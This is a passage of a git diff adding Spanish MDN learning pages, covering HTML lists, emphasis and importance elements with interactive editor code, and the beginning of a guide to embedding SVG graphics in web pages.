pasta.&lt;/li&gt;\n&lt;li&gt;Si deseas un hummus "grueso", procésalo corto tiempo.&lt;/li&gt;\n&lt;li&gt;Si deseas un hummus "suave", procésalo por más tiempo.&lt;/li&gt;\n&lt;/ol&gt;\n\n&lt;p&gt;Para un sabor diferente, puedes intentar mezclar una pequeña medida de limón y cilantro, ají, lima y chipotle, harissa y menta, o espinacas y queso feta. Pruébalo y confirma que esté en su punto.&lt;/p&gt;\n\n&lt;h2&gt;Almacenamiento&lt;/h2&gt;\n\n&lt;p&gt;Refrigera el hummus terminado en un recipiente sellado. Deberías poder usarlo durante aproximadamente una semana después de haberlo hecho. Si comienza a burbujear, definitivamente debes desecharlo.&lt;/p&gt;\n\n&lt;p&gt;El hummus es adecuado para congelar; debes descongelarlo y usarlo en un par de meses.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_4', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Si encallas, siempre puedes pulsar el botón <em>Mostrar solución</em> o comprobar el ejemplo completo <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html">text-complete.html</a> en nuestro repositorio de Github.</p>
+
+<h3 id="Listas_anidadas">Listas anidadas</h3>
+
+<p>Es perfectamente correcto anidar una lista dentro de otra. Posiblemente quieras tener subelementos bajo elementos de rango superior. Tomemos la segunda lista de nuestro ejemplo de la receta:</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;Pela el ajo y picarlo en trozos gruesos.&lt;/li&gt;
+  &lt;li&gt;Retira las semillas y el tallo del pimiento, y cortarlo en trozos gruesos.&lt;/li&gt;
+  &lt;li&gt;Mete todos los alimentos en un procesador de alimentos.&lt;/li&gt;
+  &lt;li&gt;Pica todos los ingredientes hasta conseguir una pasta.&lt;/li&gt;
+  &lt;li&gt;Si deseas un hummus "grueso", procésalo corto tiempo.&lt;/li&gt;
+  &lt;li&gt;Pica durante más tiempo si se desea obtener un hummus "suave".&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Puesto que los dos últimos elementos están estrechamente relacionados con el elemento anterior (se leen como subinstrucciones u opciones que encajan bajo ese elemento), puede tener sentido anidarlos dentro de su propia lista no ordenada e introducir esa lista bajo el cuarto elemento. Tendría el siguiente aspecto:</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;Pela el ajo y picarlo en trozos gruesos.&lt;/li&gt;
+  &lt;li&gt;Retira las semillas y el tallo del pimiento, y cortarlo en trozos gruesos.&lt;/li&gt;
+  &lt;li&gt;Mete todos los alimentos en un procesador de alimentos.&lt;/li&gt;
+  &lt;li&gt;Procesa todos los ingredientes hasta conseguir una pasta.
+    &lt;ul&gt;
+      &lt;li&gt;Si deseas un hummus "grueso", procésalo corto tiempo.&lt;/li&gt;
+      &lt;li&gt;Pica durante más tiempo si se desea obtener un hummus "suave".&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Vuelve al ejemplo anterior y reescribe la lista de este modo.</p>
+
+<h2 id="Énfasis_e_importancia">Énfasis e importancia</h2>
+
+<p>En el lenguaje humano, a menudo enfatizamos ciertas palabras para alterar el significado de una frase, y a menudo queremos destacar ciertas palabras como importantes o diferentes en algún sentido. HTML nos dota de diversos elementos semánticos que nos permiten destacar contenido textual con tales efectos, y en esta sección veremos los más comunes.</p>
+
+<h3 id="Énfasis">Énfasis</h3>
+
+<p>Cuando queremos dar énfasis al lenguaje hablado, <em>acentuamos</em> ciertas palabras y así alteramos sutilmente el significado de lo que decimos. De manera similar, en el lenguaje escrito ponemos palabras en cursiva para destacarlas. Por ejemplo, las dos siguientes frases tienen diferente significado:</p>
+
+<p>Me alegro de que no llegues tarde.</p>
+
+<p>Me <em>alegro</em> de que no llegues <em>tarde</em>.</p>
+
+<p>La primera frase suena aliviada porque la persona no llega tarde. Por el contrario, la segunda suena sarcástica y un tanto pasivo-agresiva, expresa molestia porque la persona ha llegado algo tarde.</p>
+
+<p>En HTML usamos el elemento {{HTMLElement("em")}} («<em>emphasis</em>») para marcar estos casos. El documento logra entonces transmitir una lectura más interesante y además así lo reconocen los lectores de pantalla, que lo expresan con un diferente tono de voz. El navegador, de manera predeterminada, aplica el estilo de letra itálica, pero no debes utilizar esta etiqueta solamente para establecer el estilo de letra itálica. Para usar ese estilo, debes utilizar únicamente la etiqueta del elemento {{HTMLElement("span")}} y algo de CSS u otra etiqueta con el elemento {{HTMLElement("i")}} (ve abajo).</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Me &lt;em&gt;alegro&lt;/em&gt; de que no llegues &lt;em&gt;tarde&lt;/em&gt;.&lt;/p&gt;</pre>
+
+<h3 id="Importancia_fuerte">Importancia fuerte</h3>
+
+<p>Para enfatizar palabras importantes al hablar solemos acentuarlas, y al escribir lo hacemos en estilo <strong>negrita</strong>. Por ejemplo:</p>
+
+<p>Este líquido es <strong>altamente tóxico</strong>.</p>
+
+<p>Cuento contigo. <strong>¡No llegues tarde!</strong></p>
+
+<p>En HTML usamos el elemento {{HTMLElement("strong")}} (importancia fuerte) para marcar tales expresiones. El documento resulta entonces más útil, y de nuevo los lectores de pantalla reconocen estos elementos y el tono de voz cambia a uno más fuerte. El estilo negrita es el que aplican los navegadores por omisión, pero no debes usar esta etiqueta solamente para aplicar este estilo. Para hacer eso usa el elemento {{HTMLElement("span")}} y CSS, o un elemento  {{HTMLElement("b")}} (ve más abajo).</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Este líquido es &lt;strong&gt;altamente tóxico&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;p&gt;Cuento contigo. &lt;strong&gt;¡No llegues tarde!&lt;/strong&gt;&lt;/p&gt;</pre>
+
+<p>Puedes anidar elementos de énfasis dentro de elementos de importancia y viceversa si lo deseas:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Este líquido es &lt;strong&gt;altamente tóxico&lt;/strong&gt; —
+si lo bebes, &lt;strong&gt;podrías &lt;em&gt;morir&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<h3 id="Aprendizaje_activo_¡Seamos_importantes!">Aprendizaje activo: ¡Seamos importantes!</h3>
+
+<p>En esta sección de aprendizaje activo te proporcionamos un ejemplo editable. Practica un poco añadiendo algo de <em><strong>énfasis</strong></em> e <strong><em>importancia</em></strong> a las palabras que creas que lo necesitan.</p>
+
+<div class="hidden">
+<h6 id="Código_reproducible_5">Código reproducible</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Salida en vivo&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Código editable&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Pulsa Esc para quitar el foco del área de código (Tab inserta un carácter de tabulación).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;&lt;h1&gt;Aviso importante&lt;/h1&gt;
+&lt;p&gt;El domingo 9 de enero de 2019, fue vista una pandilla de góticos
+  robando varios gnomos de jardín de un
+  centro comercial en el centro de Milwaukee. Todos ellos
+  vistiendo monos verdes y tontos sombreros, y
+  al parecer estaban pasando un buen rato. Si alguien
+   tiene alguna información sobre este incidente, por favor
+    póngase en contacto con la policía ahora.&lt;/p&gt;&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Restablecer"&gt;
+  &lt;input id="solution" type="button" value="Mostrar solución"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Mostrar solución';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Mostrar solución') {
+    textarea.value = solutionEntry;
+    solution.value = 'Ocultar solución';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Mostrar solución';
+  }
+  updateCode();
+});
+
+var htmlSolution='&lt;h1&gt;Aviso importante&lt;/h1&gt;\n&lt;p&gt;El &lt;strong&gt;domingo 9 de enero de 2019&lt;/strong&gt;, fue vista una pandilla de &lt;em&gt;góticos&lt;/em&gt; robando &lt;strong&gt;varios &lt;em&gt;gnomos&lt;/em&gt; de jardín&lt;/strong&gt; de un centro comercial en el centro de &lt;strong&gt;Milwaukee&lt;/strong&gt;. Todos ellos vistiendo &lt;em&gt;monos verdes&lt;/em&gt; y &lt;em&gt;tontos sombreros&lt;/em&gt;, y al parecer estaban pasando un buen rato. Si alguien tiene &lt;strong&gt;alguna&lt;/strong&gt; información sobre este incidente, póngase en contacto con la policía &lt;strong&gt;ahora&lt;/strong&gt;.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// captura la tecla de tabulación en el área de texto y en su lugar
+// hace que se escriba una tabulación en la posición del cursor
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Actualiza el userCode guardado cada vez que el usuario actualiza el código del área de texto
+
+textarea.onkeyup = function(){
+  // Solo queremos guardar el estado cuando se muestra el código de usuario,
+  // no es la solución, por lo que la solución no se guarda sobre el código del usuario
+  if(solution.value === 'Mostrar solución') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Código_reproducible_5', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Cursiva_negrita_subrayado...">Cursiva, negrita, subrayado...</h3>
+
+<p>Los elementos que hemos comentado hasta ahora tienen asociada una semántica clara. La situación con {{HTMLElement("b")}} (negrita o «<b>bold</b>»), {{HTMLElement("i")}} (cursiva o «<i>italic</i>») y{{HTMLElement("u")}} (subrayado o «<u>underline</u>») es algo más complicada. Surgieron para que las personas pudieran escribir textos en negrita, cursiva o subrayado en un tiempo en el que pocos navegadores o ninguno admitían el CSS. Elementos como estos, que solo afectan a la presentación y no a la semántica, se conocen como <strong>elementos de presentación</strong> y no se deberían usar porque, como hemos visto, la semántica es muy importante para la accesibilidad y el SEO, entre otros aspectos.</p>
+
+<p>HTML5 redefinió los elementos <code>&lt;b&gt;</code>, <code>&lt;i&gt;</code> y <code>&lt;u&gt;</code> con roles semánticos nuevos un tanto confusos.</p>
+
+<p>Esta es la regla de oro: el uso de <code>&lt;b&gt;</code>, <code>&lt;i&gt;</code> o <code>&lt;u&gt;</code> resulta adecuado cuando transmiten el significado que suele transmitir el uso tradicional de las negritas, itálicas o el subrayado, si no hay ningún otro elemento que resulte más adecuado. Sin embargo, siempre resulta crítico mantener una actitud orientada a la accesibilidad. El concepto de itálica no es demasiado útil para las personas que usan lectores de pantalla o para las personas que utilizan un sistema de escritura distinto del alfabeto latino.</p>
+
+<ul>
+ <li>{{HTMLElement('i')}} se usa para transmitir el significado que tradicionalmente transmite la itálica: extranjerismos, clasificaciones taxonómicas, conceptos técnicos, un pensamiento...</li>
+ <li>{{HTMLElement('b')}} se usa para transmitir el significado que tradicionalmente transmite la negrita: palabras clave, nombres de productos, frases principales...</li>
+ <li>{{HTMLElement('u')}} se usa para transmitir el significado que tradicionalmente conlleva el subrayado: nombres propios, errores ortográficos...</li>
+</ul>
+
+<div class="note">
+<p>Una observación prudente acerca del subrayado: <strong>La gente suele asociar estrechamente el subrayado con los hipervínculos.</strong> Por ello en la web es mejor reservar el subrayado para los enlaces. Utiliza el elemento {{HTMLElement('u')}} cuando resulte apropiado semánticamente, pero considera usar CSS para cambiar el subrayado predeterminado por algo más adecuado en la web. El siguiente ejemplo ilustra cómo lo puedes hacer.</p>
+</div>
+
+<pre class="brush: html notranslate">&lt;!-- nombres científicos --&gt;
+&lt;p&gt;
+  El colibrí garganta de rubí (&lt;i&gt;Archilochus colubris&lt;/i&gt;)
+  es el colibrí más común en el este de América del Norte.
+&lt;/p&gt;
+
+&lt;!-- extranjerismos --&gt;
+&lt;p&gt;
+  El menú era un mar de palabras exóticas como &lt;i lang="uk-latn"&gt;vatrushka&lt;/i&gt;,
+  &lt;i lang="id"&gt;nasi goreng&lt;/i&gt; y &lt;i lang="fr"&gt;soupe à l'oignon&lt;/i&gt;.
+&lt;/p&gt;
+
+&lt;!-- un error ortográfico reconocido --&gt;
+&lt;p&gt;
+  Algún día aprenderé a <u>deletrear</u> mejor.
+&lt;/p&gt;
+
+&lt;!-- Palabras clave destacadas en una serie de instrucciones --&gt;
+&lt;ol&gt;
+  &lt;li&gt;
+    &lt;b&gt;Corta&lt;/b&gt; dos piezas de la hogaza de pan.
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;b&gt;Inserta&lt;/b&gt; una rodaja de tomate y una hoja de
+    lechuga entre las rebanadas de pan.
+  &lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades!">¡Pon a prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo, pero ¿puedes recordar la información más importante? Encontrarás más ejercicios con los que comprobar que has retenido esta información antes de seguir adelante en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Test_your_skills:_HTML_text_basics", "Pon a prueba tus habilidades: Prueba de conocimientos básicos de HTML")}}.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>¡Eso es todo por ahora! Este artículo debería haberte dado una buena idea de cómo comenzar a marcar texto en HTML y te ha presentado algunos de los elementos más importantes en este ámbito. Hay muchos más elementos semánticos para desarrollar en esta área, y veremos muchos más en nuestro artículo {{web.link("/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Formateo de texto avanzado")}}, más adelante en el curso. En el siguiente artículo, veremos en detalle cómo {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "crear hipervínculos")}}, posiblemente el más importante elemento en la web.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "¿Qué hay en el «head»? Metadatos en HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Crear hipervínculos")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Formateo de texto avanzado")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Depurar HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcado para una carta")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</li>
+</ul>
diff --git a/files/es/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/es/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
new file mode 100644
index 0000000000..5169cfc976
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html
@@ -0,0 +1,366 @@
+---
+title: Agregar Gráficos Vectoriales a la Web
+slug: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web
+tags:
+  - Aprender
+  - Guía
+  - HTML
+  - Imagenes
+  - Principiante
+  - Raster
+  - SVG
+  - Vector
+  - graficos
+  - iframe
+  - img
+translation_of: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<div class="summary">
+<p>Los gráficos vectoriales son muy útiles en muchas circunstancias — tienen tamaño de archivo pequeños y son altamente escalables, por lo que no se pixelan cuando se amplían a un tamaño más grande. En este artículo le mostraremos cómo incluir uno en su página web.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Debe conocer los <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">conceptos básicos de HTML</a> y cómo <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">insertar imágenes en su documento</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a incrustar una imagen SVG (vector) en una página web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Este artículo no tiene la intención de enseñarte SVG; solo mostrarte qué es, y cómo agregarlo a las páginas web.</p>
+</div>
+
+<h2 id="¿Qué_son_los_gráficos_vectoriales">¿Qué son los gráficos vectoriales?</h2>
+
+<p>En la web, trabajarás con dos tipos de imágenes — <strong>imágenes rasterizadas</strong>, e <strong>imágenes vectoriales</strong>:</p>
+
+<ul>
+ <li><strong>Las imágenes ráster</strong> se definen mediante una cuadrícula de píxeles — un archivo de imagen rasterizado contiene información que muestra exactamente dónde se colocará cada píxel y exactamente de qué color debe ser. Los formatos de ráster web populares incluyen mapa de bits (<code>.bmp</code>), PNG (<code>.png</code>), JPEG (<code>.jpg</code>), and GIF (<code>.gif</code>.)</li>
+ <li><strong>Las imágenes vectoriales</strong> se definen mediante algoritmos — un archivo de imagen vectorial contiene definiciones de forma y ruta que la computadora puede usar para determinar cómo debería verse la imagen cuando se representa en la pantalla. El formato {{glossary("SVG")}} nos permite crear poderosos gráficos vectoriales para usar en la Web.</li>
+</ul>
+
+<p>Para darte una idea de la diferencia entre los dos, veamos un ejemplo. Puede encontrar este ejemplo en vivo en nuestro repositorio de Github como <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/adding-vector-graphics-to-the-web/vector-versus-raster.html">vector-versus-raster.html</a> — muestra dos imágenes aparentemente idénticas una al lado de la otra, de una estrella roja con una sombra negra. La diferencia es que el de la izquierda es un PNG y el de la derecha es una imagen SVG.</p>
+
+<p>La diferencia se hace evidente cuando amplía la página — la imagen PNG se pixela a medida que se acerca porque contiene información sobre dónde debería estar cada píxel (y de qué color). Cuando se amplía, cada píxel simplemente aumenta de tamaño para llenar varios píxeles en la pantalla, por lo que la imagen comienza a verse borrosa. Sin embargo, la imagen vectorial sigue luciendo agradable y nítida, porque no importa el tamaño que tenga, los algoritmos se utilizan para resolver las formas en la imagen, y los valores simplemente se escalan a medida que aumenta.</p>
+
+<p><img alt="Two star images" src="https://mdn.mozillademos.org/files/12866/raster-vector-default-size.png" style="display: block; height: 112px; margin: 0px auto; width: 223px;"></p>
+
+<p><img alt="Two star images zoomed in, one crisp and the other blurry" src="https://mdn.mozillademos.org/files/12868/raster-vector-zoomed.png" style="display: block; height: 328px; margin: 0px auto; width: 677px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las imágenes de arriba son en realidad todos PNG, con la estrella de la izquierda en cada caso representando una imagen rasterizada y la estrella de la derecha representando una imagen vectorial. Nuevamente, vaya a la demostración de vector-versus-raster.html para ver un ejemplo real.</p>
+</div>
+
+<p>Además, los archivos de imágenes vectoriales son mucho más ligeros que sus equivalentes ráster, porque solo necesitan contener un puñado de algoritmos, en lugar de información sobre cada píxel de la imagen individualmente.</p>
+
+<h2 id="¿Qué_es_SVG">¿Qué es SVG?</h2>
+
+<p><a href="/en-US/docs/Web/SVG">SVG</a> es un lenguaje basado en {{glossary("XML")}}-para describir imágenes vectoriales. Básicamente es un marcado, como HTML, excepto que tiene muchos elementos diferentes para definir las formas que desea que aparezcan en su imagen y los efectos que desea aplicar a esas formas. SVG es para marcar gráficos, no contenido. En el extremo más simple del espectro, tienes elementos para crear formas simples, como {{svgelement("circle")}} and {{svgelement("rect")}}. Las funciones SVG más avanzadas incluyen {{svgelement("feColorMatrix")}} (transformar colores usando una matriz de transformación), {{svgelement("animate")}} (animar partes de su gráfico vectorial), and {{svgelement("mask")}} (aplica una máscara sobre la parte superior de tu imagen).</p>
+
+<p>Como ejemplo simple, el siguiente código crea un círculo y un rectángulo:</p>
+
+<pre class="brush: html notranslate">&lt;svg version="1.1"
+     baseProfile="full"
+     width="300" height="200"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect width="100%" height="100%" fill="black" /&gt;
+  &lt;circle cx="150" cy="100" r="90" fill="blue" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Esto crea la siguiente salida:</p>
+
+<p>{{ EmbedLiveSample('What_is_SVG', 300, 200, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>En el ejemplo anterior, puede tener la impresión de que SVG es fácil de codificar manualmente. Sí, puede codificar manualmente SVG simple en un editor de texto, pero para una imagen compleja, esto rápidamente comienza a ser muy difícil. Para crear imágenes SVG, la mayoría de la gente usa un editor de gráficos vectoriales como Inkscape o Illustrator. Estos paquetes le permiten crear una variedad de ilustraciones utilizando varias herramientas gráficas y crear aproximaciones de fotos (por ejemplo, la función Trazar mapa de bits de Inkscape).</p>
+
+<p>SVG tiene algunas ventajas adicionales además de las descritas hasta ahora:</p>
+
+<ul>
+ <li>El texto en imágenes vectoriales sigue siendo accesible (lo que también beneficia a su {{glossary("SEO")}}).</li>
+ <li>Los SVG se prestan bien al estilo / scripting, porque cada componente de la imagen es un elemento que se puede diseñar a través de CSS o scripting a través de JavaScript.</li>
+</ul>
+
+<p>Entonces, ¿por qué alguien querría usar gráficos rasterizados sobre SVG? Bueno, SVG tiene algunas desventajas:</p>
+
+<ul>
+ <li>SVG puede complicarse rápidamente, lo que significa que el tamaño de los archivos puede crecer. Además, los SVG complejos también pueden requerir un tiempo de procesamiento significativo en el navegador.</li>
+ <li>SVG puede ser más difícil de crear que las imágenes rasterizadas, dependiendo del tipo de imagen que intente crear.</li>
+ <li>SVG no es compatible con navegadores más antiguos, por lo que puede no ser adecuado si necesita admitir versiones anteriores de Internet Explorer con su sitio web (SVG comenzó a ser compatible a partir de IE9).</li>
+</ul>
+
+<p>Los gráficos rasterizados son posiblemente mejores para imágenes de precisión complejas, como fotos, por las razones descritas anteriormente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En Inkscape, guarde sus archivos como SVG simple para ahorrar espacio. Además, consulte este artículo que describe<a href="http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html"> </a><a href="http://tavmjong.free.fr/INKSCAPE/MANUAL/html/Web-Inkscape.html">cómo preparar SVGs para la web</a>.</p>
+</div>
+
+<h2 id="Agregar_SVG_a_sus_páginas">Agregar SVG a sus páginas</h2>
+
+<p>En esta sección, veremos las diferentes formas en las que puede agregar gráficos vectoriales SVG a sus páginas web.</p>
+
+<h3 id="La_forma_rápida_htmlelementimg">La forma rápida: {{htmlelement("img")}}</h3>
+
+<p>Para incrustar un SVG a través de un elemento {{htmlelement ("img")}}, solo necesita hacer referencia a él en el atributo src como es de esperar. Necesitará un atributo de altura o ancho (o ambos si su SVG no tiene una relación de aspecto inherente). Si aún no lo ha hecho, lea <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes en HTML</a>.</p>
+
+<pre class="brush: html notranslate">&lt;img
+    src="equilateral.svg"
+    alt="triangle with all three sides equal"
+    height="87"
+    width="100" /&gt;</pre>
+
+<h4 id="Pros">Pros</h4>
+
+<ul>
+ <li>
+  <p>Sintaxis de imagen rápida y familiar con equivalente de texto integrado disponible en el atributo <code>alt</code>.</p>
+ </li>
+ <li>Puede convertir la imagen en un hipervínculo fácilmente anidando el <code>&lt;img&gt;</code> dentro de un elemento {{htmlelement ("a")}}.</li>
+ <li>El navegador puede almacenar en caché el archivo SVG, lo que da como resultado tiempos de carga más rápidos para cualquier página que utilice la imagen cargada en el futuro.</li>
+</ul>
+
+<h4 id="Cons">Cons</h4>
+
+<ul>
+ <li>No puede manipular la imagen con JavaScript.</li>
+ <li>Si desea controlar el contenido SVG con CSS, debe incluir estilos CSS en línea en su código SVG. (Las hojas de estilo externas invocadas desde el archivo SVG no tienen efecto).</li>
+ <li>No puede cambiar el estilo de la imagen con pseudoclases CSS (como <code>:focus</code>).</li>
+</ul>
+
+<h3 id="Solución_de_problemas_y_compatibilidad_con_varios_navegadores">Solución de problemas y compatibilidad con varios navegadores</h3>
+
+<p>Para los navegadores que no admiten SVG (IE 8 y versiones anteriores, Android 2.3 y versiones anteriores), puede hacer referencia a un PNG o JPG de su atributo src y usar un atributo {{htmlattrxref ("srcset", "img")}} ( que solo los navegadores recientes reconocen) para hacer referencia al SVG. Siendo este el caso, solo los navegadores compatibles cargarán el SVG; los navegadores más antiguos cargarán el PNG en su lugar:</p>
+
+<pre class="brush: html notranslate">&lt;img src="equilateral.png" alt="triangle with equal sides" srcset="equilateral.svg"&gt;</pre>
+
+<p>También puede usar SVG como imágenes de fondo CSS, como se muestra a continuación. En el siguiente código, los navegadores más antiguos se quedarán con el PNG que entienden, mientras que los navegadores más nuevos cargarán el SVG:</p>
+
+<pre class="brush: css notranslate"><code>background: url("fallback.png") no-repeat center;</code>
+<code>background-image: url("image.svg");
+background-size: contain;</code></pre>
+
+<p>Al igual que el método <code>&lt;img&gt;</code> descrito anteriormente, la inserción de SVG con imágenes de fondo CSS significa que el SVG no se puede manipular con JavaScript y también está sujeto a las mismas limitaciones de CSS.</p>
+
+<p>Si sus SVG no se muestran en absoluto, podría deberse a que su servidor no está configurado correctamente. Si ese es el problema, este <a href="/en-US/docs/Web/SVG/Tutorial/Getting_Started#A_Word_on_Webservers">artículo le indicará la dirección correcta</a>.</p>
+
+<h3 id="Cómo_incluir_código_SVG_dentro_de_su_HTML">Cómo incluir código SVG dentro de su HTML</h3>
+
+<p>También puede abrir el archivo SVG en un editor de texto, copiar el código SVG y pegarlo en su documento HTML; esto a veces se denomina poner su SVG en línea o SVG en línea. Asegúrese de que su fragmento de código SVG comience y termine con las etiquetas &lt;svg&gt; &lt;/svg&gt; (no incluya nada fuera de ellas). Aquí tiene un ejemplo muy simple de lo que puede pegar en su documento:</p>
+
+<pre class="brush: html notranslate">&lt;svg width="300" height="200"&gt;
+    &lt;rect width="100%" height="100%" fill="green" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<h4 id="Pros_2">Pros</h4>
+
+<ul>
+ <li>Poner su SVG en línea ahorra una solicitud HTTP y, por lo tanto, puede reducir un poco su tiempo de carga.</li>
+ <li>Puede asignar clases e identificadores a elementos SVG y aplicarles estilo con CSS, ya sea dentro del SVG o donde quiera que ponga las reglas de estilo CSS para su documento HTML. De hecho, puede utilizar cualquier atributo de presentación SVG como propiedad CSS.</li>
